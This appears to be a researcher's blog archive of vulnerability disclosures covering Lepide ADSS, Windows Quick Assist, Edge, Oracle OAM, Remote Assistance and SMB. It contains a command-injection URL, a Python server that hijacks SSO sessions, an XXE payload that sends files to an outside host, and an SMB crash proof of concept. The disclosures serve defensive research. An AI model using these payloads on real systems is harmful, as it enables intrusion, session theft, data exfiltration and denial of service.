TLDR

Lepide AD Self-Service (LADSS) is vulnerable to a forced browsing issue that allows an unauthenticated actor to download an encrypted backup, however the backup is encrypted with a static key that can be extracted from the application code.
Successful decryption gives the actor access to cleartext credentials which can be used to access the administrative interface of ADSS. Once logged-in the actor can abuse a command injection vulnerability in the "SMS Gateway settings" resulting in Remote Command Execution as NT AUTHORITY\SYSTEM.

Intro

This blog post discloses 2 individual bugs that are being chained in order to achieve unauthenticated remote command execution. This command execution is most likely going to happen directly on a Active Directory Domain Controller or on a server with a Technical AD account with privileged access. Furthermore, this remote execution occurs with the highest possible local privileges possible namely as “NT AUTHORITY\SYSTEM”. Resulting in a remote compromise of an organizations AD.
Below both vulnerabilities are explained separately and finally combined in the final PoC at the end.

Unauthenticated File/Backup Download

The Lepide web application runs on a Tomcat webserver with a .war file deployed onto it. As there is no obfuscation or any protection against reverse engineer the application, it’s fairly easy to the browse through the source code.
As my common approach I started to look at the different functions and looked how the authentication or the sessions checks are done. I’ve discovered numerous functions that are missing or have the checks at the wrong place.
One of those function would be the creation of a backup that could be imported afterwards.
When you analyze/extract the “ROOT.war” file which is basically the web application archive of the Lepide Active Directory Self Service (LADSS) web application. The vulnerable code is located at “com.lepide.action.EnrollmentNotificationAction.class”.

The function that is ran is conveniently named “Backup” and as you can see there is no mention of a check being done whether this request was done through an active/authorized session.
Comparing this with other functions in the same class we can see that on those the session is indeed validated before proceeding to perform the action. Such as “Restore Database” or “Restore Backup”.

We could easily confirm this by performing the backup HTTP request without an active session (no cookies) as demonstrated below:

However, with the backup file itself we’re not quite there yet. It seems this backup file is encrypted, when trying to open .zip file with a archive manager the user is prompted with a “file corrupted” message.

In order to understand how this archive file is made up we need to dive deeper in the code of the “backup” function.

As seen above the zip archive stream is sent to the** “encrypt” function** with a key “piechidelta”.

Looking inside the “encrypt” function we can conclude the following:

• ZIP archive is encrypted using DES with key “piechidelta”
• Database contents are encrypted with AES with key “TheBestSecretKey”

We can reuse the code available to achieve decryption of the archive and the database content inside the ZIP archive.
NOTE: Database contents in Lepide AD Self-Service 2018 and older are not encrypted!

Once decryption is complete we can extract the following info from the database:

• Admin login credentials for Lepide AD Self-Service Portal
• Administrative AD user credentials that can update/reset AD passwords (usually domain admin credentials, not best practice, but most common)
• Domain controller IP address

Now we have administrative credentials to the portal as well as AD administrative credentials, this still doesn’t directly allow us to execute system commands.
Now this is where vulnerability number 2 comes in.

Command Injection

I started looking inside the code if there were functions that would take user controlled input without sanitization. We found the function “send_test_sms”.

The function takes the value of the HTTP GET parameter “prop” and put it in “strUserParameters”. It then continues to use “<<;>>” as the delimiter to split the value inside the “prop” parameter and stores it in an array.
If the first value in the array matches “GSM Modem” or “SMS Gateway” it will use those code blocks respectively, however if none of it matches it will assume run a different code block.
This code blocks is executed when the first value in the “props” array doesn’t match any given statement. It will continue to assume we would like to run a custom executable (props[1]) and a its given command line parameters (props[2]) and calls the function “runExecutableFile”.

The “runExecutableFile” function is quite short and takes a String array and a message, all variables are directly controllable and not sanitized nor validated before being used in a command line. If the extension of the user provided filename ends with a .jar then Java is used to execute to run the command.
Once we have this it quite easy to craft our payload and have it execute our own executable and our own command line arguments. We simply use path traversal “../” to move to our desired location.

The final HTTP GET request looks as follows:

http://<LADDS_ADDRESS>/SMSsetting.do?method=send_test_sms&prop=XXXXXX<<;>>../../../../../../../Windows//SysWow64//cmd.exe<<;>>/C whoami & <<;>>

Putting it all together (PoC)

Exploit code can be found here.

Workarounds

The following workarounds have been identified that would decrease the likelihood of a possible attack:

• Block access via WAF to http://yourLADSS/EnrollmentNotificationAction.do?method=Backup
• Hide your LADSS behind a VPN and avoid exposing it publicly

Timeline

This vulnerability is being disclosed publicly without a patch in accordance with the ZDI 120 day deadline.

• 10/08/20 – ZDI reported the vulnerability to the vendor/ICS-CERT
• 02/10/21 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory on 02/18/21

More information here.

Thanks

Thanks to my collegue Eric Schayes (@EricSchayes) for working on this with me and thanks to Zero Day Initiative.

TL;DR

This vulnerability allows attackers to impersonate Microsoft Support via the built-in remote support tool of Windows 10 named "Quick Assist".
Microsoft decided not to fix it since it needs high level of social engineering to exploit this vulnerability.

Quick Assist User Spoofing (Vuln/Feature)

As any researcher other would do, I started looking at the interesting features Microsoft added to Windows 10. As you may recall, last year i've found a quite simple vulnerability in Microsoft's Remote Assistance tool which allowed users to ask for assistance. You can read all about it. here.

So I stumbled upon "Quick Assist" I was wondering if it was just MSRA repackaged in a fancy name.
I fired up Burp Suite and let everything pass through the proxy and started looking at the HTTP requests coming in.
Once you startup "Quick Assist" it looks as follows:

You get 2 options, either provide assistance or request assistance.

An attacker/scammer would obviously like to "assist" another person. If we continue down that route you can see a bunch of HTTP requests going back and forth and you'll be finally asked to sign-in.

In order to be able to assist a person you'll have to sign-in/up with a microsoft account (@outlook.com,hotmail.com, live.com, ...), which can be created easily. Once you've logged in, Quick Assist will continue its HTTP requests (HINT: it's setting up an anonymous Skype Businness meeting room) and retrieve a security code which needs to be sent to the person/victim requiring assistance.

There are several ways to send this code as you can see above. Now here things get interesting, since a scammer would like to make the victim believe that he is genuinely someone from Microsoft providing support he can choose the option to send the code via email.
Interesting enough this mail is delivered without any information regarding the person who exactly is sending it. The sender of the mail is a legitimate Microsoft email address. Now this is the first step that makes the "victim" seem confident he/she is talking to a real Microsoft Support representative.

Above you can see the HTTP request, it's a JSON request with "destination" and "code" as the 2 parameters. (FUN FACT: you can put pretty much anything in the "code" parameter value)

The victim will get an email that looks something like the screenshot above.

Now we simply wait for the victim to put in the code and the victim will get a "waiting" screen.

The attacker/scammer's "Quick Assist" will wait for a reply from the "remoteassistance.support.services.microsoft.com" servers to initiate the next step of the process.
After some HTTP calls the attacker is prompted with the following window:

The attacker has the choice to either take full control of the remote computer or simply view the screen without controlling any input devices. In my opinion this is strange to give the "helper" (attacker/scammer) the option to choose what he wants to do with the "victim".

The attacker/scammer will (most) likely choose the first option and simply take control of the victim's machine.
Now we are reaching another interesting point within this whole process. After clicking on "continue" Quick Assist will perform some additional HTTP requests and one of them looks like this:

I'll give you a minute to look at the above request and figure out what's wrong here.





































































You've probably figured it out by now and noticed a very interesting parameter in this JSON request, namely "userInfo"
UserInfo contains some really interesting options:

• Email
• FirstName
• LastName
• IsMicrosoft
• IsMicrosoftSupport
• CompanyName

You're probably wondering what if you change these values? Well, that's what I did.
I've changed my FirstName, LastName, IsMicrosoft, IsMicrosoftSupport and CompanyName parameters.
Switching boolean flags from "false to "true" for "IsMicrosoft" and "IsMicrosoftSupport".
Below you'll see the comparison between not changing those flags and changing them.

As you can see above there is a slight difference in the prompt the "victim" receives. I'm sure you'll agree that the right one looks much more convincing (apart from the name "SupportMcSupportFace", which can be changed obviously!)

Once the "victim" clicks on "Allow" an screen sharing session is setup which is basically RDP over HTTPS using WebSockets.

There is also another parameter which I indicated in the previous screenshot which is "promptuser" which also takes a boolean flag and is by default set to "true" changing this to "false" simply bypasses the prompt message shown above and directly continues to setting up the screen sharing session.

Conclusion

After discovering this spoofing vulnerability/feature I've contacted MSRC and after almost 3 months, I've received the message they won't fix it since it requires high level of social engineering. Which I don't dispute by any means.
However knowing how prevalent tech support scams are these days and are making money off of innocent people not knowing what they are getting themselves into.

This technique could be used by these tech support scammers and is way more convincing since the victims don't have to install anything (unlike current scams where they force victims to install Teamviewer or other screen sharing tools) everything from receiving the "code" up until the last step of asking for "consent" looks completely legitimate.

I hope Microsoft will consider putting a little effort on mitigating this issue so their platform can't be used to scam people.

Timeline

• April 15th 2019 (submission to MSRC Portal)
• May 8th 2019 (Case opened & assigned)
• June 4th 2019 (Case closed & Won't Fix)

TL;DR

This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in "Full Control" permissions for the low privileged user.

Intro

First of all I would like to thank fellow researchers for giving me inspiration to dive into this type research.

• James Forshaw (@tiraniddo) from Google Project Zero
• Ryan Hanson (@ryHanson) from Atredis Partners

Some of their research that inspired me can be found here:

• https://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service
• https://www.atredis.com/blog/cylance-privilege-escalation-vulnerability
• https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
• https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html

Now let's talk about this particular vulnerability. All Windows Apps have a settings.dat file which keeps track of the (registry) settings of the App. That file is a registry file which can be loaded into registry and modified there.
However once you launch a Windows App such as Microsoft Edge the settings.dat file it is used by NT AUTHORITY\SYSTEM and as a low privileged user you have full access to that file.
Now the question arises how can we abuse the privileged file access.

Vulnerability

Let's focus on the settings.dat file of Microsoft Edge.
All Windows Apps user configuration files are stored under the current users' AppData folder.

1. Check file permissions
1. If file permissions are incorrect, then correct the file permissions with the correct
2. Read the file content
1. If content is corrupted, then delete the file
2. Reset the configuration by copying the settings template file from "C:\Windows\System32\settings.dat"
3. Get "Exclusive Lock" on the newly copied file
4. Proceed to start the Windows App

This procedure can be seen in the following screenshot when performing our attack


As mentioned before it first sets the correct file permissions during the SetSecurityFile operation after which it continues on reading the contents of the file, in our case the contents do not correspond to a correct settings.dat file. After which it deletes the file, copies the settings template file and proceeds with starting up the Windows App.
Now most of these operations are performed by impersonating the current user access which prevent abuse of these operations as they won't be any different as performing these operations as the current user.

We can use this behaviour to set the file permissions on "any" file (there are some pre-requisites, I'll come back to that later) by using hardlinks.
Huge thanks to James Forshaw and Google P0 again for providing us with the SymbolicLink Testing Toolkit. Using his toolkit we can create hardlinks to files where we want to have "Full Control" over as a regular user.

Exploit

We know that file permissions set on a hardlink will result changes on the original file.
Below we will hijack the HOSTS file located at C:\Windows\System32\drivers\etc\hosts. As a regular user you don't have modify access to that file as seen below.

I've written an exploit that automates the entire process of creating a hardlink and triggering the vulnerability. The result of a successful exploitation can be seen below.

1. The exploit first checks if the targeted file exists, if it does it will check its permissions. Since we are using Microsoft Edge for this exploit it will kill Microsoft Edge in order to get access to the settings.dat file.
2. After Microsoft Edge is killed it will check for the "setting.dat" file and delete it in order to create a hardlink to the requested targeted file (in our case that was the HOSTS file)
3. Once a hardlink is created Microsoft Edge is fired up again to trigger the vulnerability. Concluding with a final check if indeed "Full Control" permissions have been set for the current user.

As I mentioned previously above there are some pre-requisites you have to take into account before abusing this vulnerability. These are the following:

• NT AUTHORITY\SYSTEM should have "Full Control" over the targeted file
• The low privileged user or the Users group should have "Read/Execute" rights
• The "Read/Execute" rights should be inherited, explicit "Read/Execute" are not sufficient

PoC

PoC code can be found here.

Video PoC

TL;DR

This weakness allows us to bypass the URL filtering on the RH parameter which could be used to hijack the session of any user when following a particularly crafted link. In summary, phishing heaven !

Intro

Oracle Authentication Manager (OAM) 10G or OAM 11g with Webgates 10g parse SSO cookies in an HTTP GET parameter.
OAM sets a cookie based on the ‘obrareq.cgi’ parameters that are sent (see examples below)
Once a user authenticates he/she will be redirected to the domain that was specified in the ‘RH’ parameter.
The HTTP GET request will contain the ‘ObSSOCookie’ value as one of the parameters.
Prior to this blog Tom and I already did some research in this area which can be found here.
Back then Oracle pointed out that this issue was related to a configuration issue and to prevent abuse the 'SSODomains' parameter should be defined in OAM or WebGates.

Bypassing the 'SSODomains' restriction

We moved the focus of our research to bypassing the ‘SSODomains’ parameter as defined in the configuration which essentially results in the same weakness as explained in the previous blog post.
After testing numerous possibilities we successfully managed to bypass the SSODomains restriction by using both weaknesses in Oracle OAM and how modern day browsers treat certain URI schemes.

Details about the bypass are as follows:

Example encoded URL:

https://sso.somedomain.com/obrareq.cgi?wh%3DWEM-PUB-PROD1 wu%3D%2F wo%3D1 rh%3Dhttps%3A%2F%2Fwww.somedomain.com%3A@maliciousdomain.com ru%3D%2F rq%3Dreferer%3D%2F

Example Decoded URL:

https://sso.somedomain.com/obrareq.cgi?wh=WEM-PUB-PROD1 wu=/ wo=1 rh=https://www.somedomain.com:@maliciousdomain.com ru=/ rq=referer=/

Affected "RH" parameter

rh=https://www.somedomain.com

The "RH" parameter is affected in the sense that there are some values that are accepted but not properly checked.
In the example above the original domain (RH=redirect host) is https://www.somedomain.com.
Modifying this domain as follows causes an error for example:

• https://www.somedomain.com**;** (semi-colon after the domain is not allowed)
• https://www.somedomain.com**/** (forward slash is not allowed)

After testing we found the following (URL encoded) values seem to be working (this list is not a definitive list!!):

• %3A (encoded value for a colon)
• %20 (space is allowed)
• %3D (equal sign is allowed)
• …

So following our example above and the URL scheme (https://en.wikipedia.org/wiki/Uniform_ Resource _Identifier), it makes it possible to modify the domain with the accepted values mentioned previously and bypass the 'SSODomains' restriction which is set to only allow authentication against 'www.somedomain.com'.
Our new "RH" parameter will look something like this:
https://www.somedomain.com:test%20@maliciousdomain.com

• This is the protocol that is used (HTTP over SSL)
• These values are considered to be authentication values (username, password respectively)
• This value is considered the domain where the browser has to authenticate.

OAM fails to validate the "RH" parameter,it sees the "www.somedomain.com" domain and no forbidden characters therefore simply accepts this input as the accepted value for the "RH" parameter.

Hence resulting in a redirect to "maliciousdomain.com" domain with the ObSSOCookie in the URL.
Because this HTTP GET request to the malicious domain will contain the ObSSOCookie, the attacker will have a fully functional session identifier to access the legitimate web application and resources. (more details can be found in the blog post in the link above)

Most browsers are bad and they should feel bad!

All browsers are affected except for Internet Explorer and Edge (I know right?), which blocks the request form being performed to prevent URL spoofing (https://support.microsoft.com/en-us/help/834489/internet-explorer-does-not-support-user-names-and-passwords-in-web-sit)

• Chrome 61.03163 (Working)
• Firefox 56.0.1 (Working)
• Microsoft Edge 40.15063.674.0 (Not working)
• Internet Explorer 11 (Not working)
• Safari 11 (Working)
• Opera 48 (Working)

Proof-of-Concept Webserver Script

#!/usr/bin/env python
"""
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

"""
import SimpleHTTPServer
import SocketServer
import sys
import argparse
import webbrowser
import time

def redirect_handler_factory(domain):
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
			if self.path.endswith("httponly") or self.path.endswith("%252F") or  self.path.endswith("do") or self.path.endswith("adfAuthentication"):
				webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly
				time.sleep( 5 )
				webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
				time.sleep( 5 )
				self.send_response(301)
				self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
				self.end_headers()
				return
			else:
                            print self.path
    return RedirectHandler
           

def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on')
    parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to')

    myargs = parser.parse_args()
    
    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)
    
    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":
    main()

Feel free to modify the code to you needs, I didn't put the effort to make it work under all circumstances.

Proof-of-Concept Video

This is an old version (too lazy to record a new one) of the PoC which uses internet explorer to exploit it but the end-result of the vulnerability is the same, making it relevant.

CVSS rating

This vulnerability has a rating of 9.3 (CRITICAL)

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Intro

Windows Remote Assistance allows someone you trust take over your PC and fix a problem from anywhere around the world.
It relies on the Remote Desktop Protocol to establish a secure connection with the person in need.

-MSDN

Background

I stumbled upon this functionality during my research and was curious whether this functionality would allow me to abuse it in any sort of way. So let's fire up MSRA (Microsoft Remote Assistance).

It gives you 2 options:

• Invite someone to help you
• Respond to someone who needs help

If you selected the first option you will get a follow-up screen with another set of 2 options:

• Save invitation to an .msrcincident file
• Send invitation via email with the .mrcincident file as an attachment

We'll choose to save the file locally and analyze it's contents, so evidently we choose the first option.

Opening the Invitation.msrcincident file reveals XML data with a lot of parameters and values.

The password encryption flow looks as follows.

However whenever you see XML data being fed to a program you have to think about XML External Entity (XXE) vulnerabilities, in the past these vulnerabilities lead from information disclosure to RCE (see this, that and many more...)

So first I was curious which parser MSRA used to handle the invitation file. ProcessMonitor revealed the following:

It's using MSXML3 to parse the XML data so immediately I started looking for potential existing vulnerabilities related to MSXML3 in the past.
MSXML3 has had it's fair share of vulnerabilities (here), however no details were ever released about the vulnerabilities.
So let's see if the MSXML3 parser will allow me to use SYSTEM entities.

Vulnerability

The first problem is how will I confirm the existence of an XXE vulnerability if no output is shown of the requested resource.
Basic XXE payload looks something like this:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Whereas the result of this XML (after parsing) should be that inside the <foo> tags the content of the file passwd should be displayed.

MSRA does not show you the output of the processed XML, making it hard to validate BUT to weaponize this attack I need to be able to exfiltrate the requested data from the victim to my machine.
Therefore I need to use a technique called Out-of-Band Data Retrieval discovered by the researchers Alexey Osipov and Timur Yunusov that allow the construction of a URL with data coming from other entities.

That looks like this:

Using the same technique I modified the Invitation.msrcincident file with the following XML:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://krbtgt.pw:8080/xxe.xml">
%remote;%root;%oob;]>

On my server I create a file xxe.xml with the following XML:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://krbtgt.pw:8080/?%payload;'> ">

Opening the modified Invitation.msrcincident file with our XML XXE payload resulted in the following:

The result is the contents of C:\Windows\win.ini are sent as part of a GET request to my server. If we URL decode the GET values sent to the server we get the following:

 for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1CMCDLLNAME32=mapi32.dllCMC=1MAPIX=1MAPIXVER=1.0.0.1OLEMessaging=1

I just confirmed an XXE vulnerability affecting MSRA using the MSXML3 parser.

Conclusion

This XXE vulnerability can be genuinely used in mass scale phishing attacks targeting individuals believing they are truly helping another individual with an IT problem.
Totally unaware that the .msrcincident invitation file could potentially result in loss of sensitive information.
An attacker could target specific log/config files containing username/passwords.
GDSSecurity also made a tool to automate XXE exfiltration of multiple files by brute-forcing certain directory locations. The tool can be found here.

Timeline

• February ‎2017: Vulnerability discovered
• October 2017: Case opened with ZDI
• November 2017: Vendor notified of the vulnerability
• March 2018: Patch released & vulnerability labeled as CVE-2018-0878

Patch details can be found here.

Table of contents

• Intro
• Root cause analysis
• Proof-of-Concept

Intro

Late last year while setting up a fuzzer to target the SMB protocol, I discovered a vulnerability so simple yet so effective in disrupting large enterprises.
TL;DR: A Denial-of-Service bug allowing to BSOD Windows 8.1 and Windows Server 2012 R2 machines with a one single packet.
Big thanks to Eric Schayes for joining me during the Root Cause Analysis.

Targets

The following vulnerability has been tested and validated on:

• Windows 8.1 (x86)

• Windows Server 2012 R2 (x64)

Background

To understand the root cause of this vulnerability, it is important to understand how SMB packets are built.
Let’ have a look on the SMBv1 header:

Source: https://msdn.microsoft.com/en-us/library/ee441774.aspx
As we can see, the protocol field begins with FF byte.
Now let’s check what’s happening with SMBv2

Source: https://msdn.microsoft.com/en-us/library/cc246528.aspx
The protocol field begin now with the FE byte.
What about SMBv3? The v3 of SMB protocol is encrypted and will use a specific header called SMB2_Transform for encrypted communications:

SMBv3 is always encrypted, and as it can be learned in official documentation, the negotiation of SMBv3 session begin with a SMBv2 session.

Here are the packets involved in the setup of a SMBv3 session:

In the packets from 1 to 8, the SMB header looks like that:

As we can see, the byte sequence used is still 0xFE which is the SMBv2 code as indicate in Microsoft documentation.

From frame 9, encryption is on and the byte sequence used in the header will be 0xFD:

As you can see in the PoC, the crash happens when sending immediately a SMB packet with the 0xFD header without negotiating the session for the first time.
Let’s have a deeper look at crash dump to understand the root cause of this crash.

Root Cause Analysis

REMARK: the root cause analysis is only performed on Windows 8.1 (x86)
Sending a specially crafted packet causes a kernel panic, because it wants to read a value from memory which is protected (null page protection) on address 0x00000030.


The module where this crash occurs is “mrxsmb.sys” which is a Microsoft Server Message Block (SMB) redirector. The exact place of the crash is mrxsmb!SmbWksReceiveEvent+8539 where a move occurs from [ecx+30h] to register EAX, the value of ECX is pointing to 0x00000000.
When we follow the flow in IDA it looks as follows:
The packet is handled and check if encryption is enabled or not which relates to SMB 3.0 that uses encrypted SMB packets.

In WinDBG it looks like this:

Essentially it will check if encryption is enabled, if this is the case it will follow the “false” path and move to the next function:

It will perform some moves and the second last instruction a compare happens which will check if register ECX with hex value 0x34. If ECX is below or equal to 0x34 which in our case is false.

I will follow the “false” path:
Another compare instruction occurs and in this case if register EDX (attacker controllable value) is higher than the value of [ESP+4C] it will follow the “true” path


The next following instruction simply put values in the various registers:


The next instruction again compares the value of ECX with 0x34 and it will follow the “true” path if ECX is higher than 0x34.


In our case it will follow the true path since the value of ECX is higher than 0x34.
The following instruction block performs a test between the value of _Microsoft_Windows_SMBClientEnableBits to 0x80000000.
In WinDBG we can see that the test will result in a “false” and subsequently will follow the “false” path.


Leading us to a test instruction which will be always “true”, moving to function “loc_A0F20E05”.

After putting zeros on the stack it goes to function “loc_A0F20E15” in this case:
At instruction where it moved ECX+30h to EAX the crash occurs because ECX is 0x00000000 and it will try to read the value from 0x00000030 which is protected memory space.


This causes a kernel panic and will force the machine to reboot.
As you might have noticed there are number of times where our attacker controlled values were stored in various registers, but we did not find a way to use those registers to gain full control over the flow.

Proof-of-Concept

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()

PoC demo

Table of contents

• Intro
• Oracle OAM Authentication flow
• Hijacking the session
• Global Exposure
• Proof-of-Concept Webserver Script
• Proof-of-Concept Video
• Mitigation
• CVSS rating

Intro

TL;DR

Badly configured Oracle OAM 10g allows remote attackers to hijack sessions from unsuspecting users. This basically takes phishing to a whole new level. (A lot of high profile organisations didn't configure this properly about 99% of them)

Late last year Tom and I were engaged in a security assessment which proved to be quite a challenge. We stumbled upon a very complex Single Sign-On (SSO) authentication scheme which consisted of 18 different request in order to access the resource that was requested.

After mapping and creating a flow chart of all the cookies and parameters that were used in these series of requests. By singling out the most important set of cookies we discovered that the “ObSSOCookie” was quite powerful and allowed authentication on various sets of web applications available.

After doing some quick research on the internet this cookie is related to the SSO implementation of Oracle Access Manager. Now that we know which cookie is the most critical one we need to find a way to get our hands on this super Cookie :).

Oracle OAM Authentication flow

Before proceeding we need to understand how a user authenticates on this Oracle SSO implementation.

As you can see in the image above the user requests a protected resource let’s say https://somewebsite.com/protected/, the OAM server simply validates whether the resource is indeed protected or not. (Steps 1 and 2)
The OAM server evaluates the request and responds back with a decision saying that the resource requested is indeed protected. The Oracle OAM server responds back to the user and redirects the user to a login page to collect credentials from the user.

The raw HTTP requests/responses look something like this:

GET /protected/ HTTP/1.1
Accept: /
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: somewebsite.com
Connection: Keep-Alive

HTTP/1.1 302 Redirect
Content-Length: 0
Location: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Server: Microsoft-IIS/7.5
Set-Cookie: ObSSOCookie=loggedoutcontinue; httponly; path=/
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:16 GMT

GET /oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F HTTP/1.1
Accept: /
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: someotherdomain.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Date: Fri, 09 Mar 2012 16:16:55 GMT
Pragma: no-cache
Content-Length: 3326
Content-Type: text/html; charset=UTF-8
Expires: 0
Set-Cookie: OAM_REQ=VERSION_4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab5
X-Powered-By: Servlet/2.5 JSP/2.1

The OAM Server sets the OAMREQ cookie in the user's browser, with the information that the requested resource is located at https://somewebsite.com. That way on the next request the OAM server knows for which resource the user is authenticating.

At this point the user will be on the login screen and needs to submit his credentials (even 2FA).
This brings us to the second part of the authentication flow.

As the screenshot above shows; the user submits its credentials and the OAM server verifies the credentials and serves back various cookies one of them being “ObSSoCookie” which is given to the user after successful logon.

The user submits his credentials, the OAM server validates its credentials. If the credentials are valid the OAM Server gives the user a cookie and a valid session and redirects the user to the protected resource.
The raw HTTP requests/responses look as follows:

POST /oam/server/auth_cred_submit HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: someotherdomain.com
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: OAM_REQ=VERSION_4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...

username=User1&password=User123456&request_id=-8330979068306697433

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Fri, 09 Mar 2012 16:17:01 GMT
Transfer-Encoding: chunked
Location: http://somewebsite.com/obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly
Set-Cookie: OAM_ID=VERSION_4~C7Iz5I0rodPWWPLR82CoQg~bP8dGW/YVqe1NaHiCaZ3z6p2dbxVbpJpcSYMU6LVzUSBHp0C9OtSKbtvUlHHDsGImCi8KtAh3CLHXN+paF2+ZyxNOZOge2Mg2aH6vF8Wy2fUgIEYAVYjtVrP4bVTC0GpM7S6dt3XpjR/AHScYUdQNp5Olr5D3gSlBAnXWcyYxY9u/x620d5LHIYvBdZvqZzVsfAAV/5KovBKD/5wvhPWI/JDkYoUdT37VoaDp7BS1lOumUtTqzXkQTzMzAkLCzhS0M1NyCYTiT9904bIxfzhJw; path=/; HttpOnly
Set-Cookie: OAM_REQ=invalid; path=/; HttpOnly
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab7
X-Powered-By: Servlet/2.5 JSP/2.1

